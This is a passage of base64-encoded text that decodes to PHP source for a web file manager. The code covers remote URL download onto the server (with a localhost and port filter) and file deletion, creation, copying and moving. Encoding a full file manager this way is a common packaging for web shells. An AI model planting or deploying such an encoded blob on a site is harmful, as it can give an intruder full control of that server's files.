ZmlsZXMgPSAkc2hmO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHtcbiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmO1xuICAgICAgICAgICAgJHNob3dfaGlkZGVuX2ZpbGVzID0gJHNoZjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gPSAkaGNvO1xuICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3RoZW1lJ10gIT0gJHRlMykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7XG4gICAgICAgICAgICAkdGhlbWUgPSAkdGUzO1xuICAgICAgICB9XG4gICAgICAgICRjZmctPnNhdmUoKTtcbiAgICAgICAgZWNobyB0cnVlO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJwd2RoYXNoXCIpIHtcbiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJztcbiAgICAgICAgZWNobyAkcmVzO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJ1cGxvYWRcIiAmJiAhZW1wdHkoJF9SRVFVRVNUW1widXBsb2FkdXJsXCJdKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG5cbiAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2soJG1lc3NhZ2UpXG4gICAgICAgIHtcbiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7XG4gICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGgoKVxuICAgICAgICB7XG4gICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTtcbiAgICAgICAgICAgIHJldHVybiAkcGF0aCAuIFwiXC9cIiAuIGJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXJsID0gIWVtcHR5KCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgJiYgcHJlZ19tYXRjaChcInxeaHR0cChzKT86XC9cLy4rJHxcIiwgc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkpID8gc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFtcInVwbG9hZHVybFwiXSkgOiBudWxsO1xuXG4gICAgICAgICRkb21haW4gPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTtcbiAgICAgICAgJHBvcnQgPSBwYXJzZV91cmwoJHVybCwgUEhQX1VSTF9QT1JUKTtcbiAgICAgICAgJGtub3duUG9ydHMgPSBbMjIsIDIzLCAyNSwgMzMwNl07XG5cbiAgICAgICAgaWYgKHByZWdfbWF0Y2goXCJcL15sb2NhbGhvc3QkfF4xMjcoPzpcXC5bMC05XSspezAsMn1cXC5bMC05XSskfF4oPzowKlxcOikqPzo/MCoxJFwvaVwiLCAkZG9tYWluKSB8fCBpbl9hcnJheSgkcG9ydCwgJGtub3duUG9ydHMpKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJVUkwgaXMgbm90IGFsbG93ZWRcIik7XG4gICAgICAgICAgICBldmVudF9jYWxsYmFjayhhcnJheShcImZhaWxcIiA9PiAkZXJyKSk7XG4gICAgICAgICAgICBleGl0KCk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXNlX2N1cmwgPSBmYWxzZTtcbiAgICAgICAgJHRlbXBfZmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCBcInVwbG9hZC1cIik7XG4gICAgICAgICRmaWxlaW5mbyA9IG5ldyBzdGRDbGFzcygpO1xuICAgICAgICAkZmlsZWluZm8tPm5hbWUgPSB0cmltKHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSksIFwiLlxceDAwLi5cXHgyMFwiKTtcblxuICAgICAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlO1xuICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZWluZm8tPm5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlO1xuXG4gICAgICAgICRlcnIgPSBmYWxzZTtcblxuICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSB7XG4gICAgICAgICAgICAkZXJyID0gYXJyYXkoXCJtZXNzYWdlXCIgPT4gXCJGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZFwiKTtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZmFpbFwiID0+ICRlcnIpKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghJHVybCkge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTtcbiAgICAgICAgfSBlbHNlIGlmICgkdXNlX2N1cmwpIHtcbiAgICAgICAgICAgIEAkZnAgPSBmb3BlbigkdGVtcF9maWxlLCBcIndcIik7XG4gICAgICAgICAgICBAJGNoID0gY3VybF9pbml0KCR1cmwpO1xuICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PUFJPR1JFU1MsIGZhbHNlKTtcbiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgdHJ1ZSk7XG4gICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTtcbiAgICAgICAgICAgIEAkc3VjY2VzcyA9IGN1cmxfZXhlYygkY2gpO1xuICAgICAgICAgICAgJGN1cmxfaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO1xuICAgICAgICAgICAgaWYgKCEkc3VjY2Vzcykge1xuICAgICAgICAgICAgICAgICRlcnIgPSBhcnJheShcIm1lc3NhZ2VcIiA9PiBjdXJsX2Vycm9yKCRjaCkpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQGN1cmxfY2xvc2UoJGNoKTtcbiAgICAgICAgICAgIGZjbG9zZSgkZnApO1xuICAgICAgICAgICAgJGZpbGVpbmZvLT5zaXplID0gJGN1cmxfaW5mb1tcInNpemVfZG93bmxvYWRcIl07XG4gICAgICAgICAgICAkZmlsZWluZm8tPnR5cGUgPSAkY3VybF9pbmZvW1wiY29udGVudF90eXBlXCJdO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGN0eCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgpO1xuICAgICAgICAgICAgQCRzdWNjZXNzID0gY29weSgkdXJsLCAkdGVtcF9maWxlLCAkY3R4KTtcbiAgICAgICAgICAgIGlmICghJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgICAgICAkZXJyID0gZXJyb3JfZ2V0X2xhc3QoKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkc3VjY2Vzcykge1xuICAgICAgICAgICAgJHN1Y2Nlc3MgPSByZW5hbWUoJHRlbXBfZmlsZSwgc3RydG9rKGdldF9maWxlX3BhdGgoKSwgJz8nKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHN1Y2Nlc3MpIHtcbiAgICAgICAgICAgIGV2ZW50X2NhbGxiYWNrKGFycmF5KFwiZG9uZVwiID0+ICRmaWxlaW5mbykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgdW5saW5rKCR0ZW1wX2ZpbGUpO1xuICAgICAgICAgICAgaWYgKCEkZXJyKSB7XG4gICAgICAgICAgICAgICAgJGVyciA9IGFycmF5KFwibWVzc2FnZVwiID0+IFwiSW52YWxpZCB1cmwgcGFyYW1ldGVyXCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoXCJmYWlsXCIgPT4gJGVycikpO1xuICAgICAgICB9XG4gICAgfVxuICAgIGV4aXQoKTtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkZGVsID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7XG4gICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICAgICAgfVxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xuICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICdcLycgLiAkZGVsKSkge1xuICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgICR0eXBlID0gdXJsZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTtcbiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7XG4gICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdHlwZSA9PSBcImZpbGVcIikge1xuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICdcLycgLiAkbmV3KSkge1xuICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHtcbiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJ1wvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpO1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkY29weSA9IHVybGRlY29kZSgkX0dFVFsnY29weSddKTtcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xuICAgIGlmICgkY29weSA9PSAnJykge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcbiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG4gICAgJGRlc3QgLj0gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKTtcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xuICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTtcbiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHtcbiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJ1wvJyk7XG4gICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xuICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycpLCAnYWxlcnQnKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBpZiAoISRtb3ZlKSB7XG4gICAgICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcbiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTtcbiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7XG4gICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHtcbiAgICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJyAuICRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10gLiAnXC8nIC4gJGZuX3BhcnRzWydmaWxlbmFtZSddIC4gJy0nIC4gZGF0ZSgnWW1kSGlzJykgLiAkZXh0ZW5zaW9uX3N1ZmZpeDtcbiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDtcbiAgICAgICAgICAgICRtYXhfbG9vcCA9IDEwMDA7XG4gICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkge1xuICAgICAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmbl9kdXBsaWNhdGUpO1xuICAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICdcLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7XG4gICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8XC9iPiB0byA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBUb2tlbi4nKSwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cbiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XG4gICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7XG4gICAgICAgICRjb3B5X3RvX3BhdGggLj0gJ1wvJyAuICRjb3B5X3RvO1xuICAgIH1cbiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkge1xuICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgfVxuICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pO1xuICAgICRlcnJvcnMgPSAwO1xuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcbiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7XG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJ1wvJyAuICRmO1xuICAgICAgICAgICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKFwiSW52YWxpZCBUb2tlbi5cIiwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cbiAgICAkb2xkID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX2Zyb20nXSk7XG4gICAgJG9sZCA9IGZtX2NsZWFuX3BhdGgoJG9sZCk7XG4gICAgJG9sZCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkb2xkKTtcbiAgICAkbmV3ID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX3Rv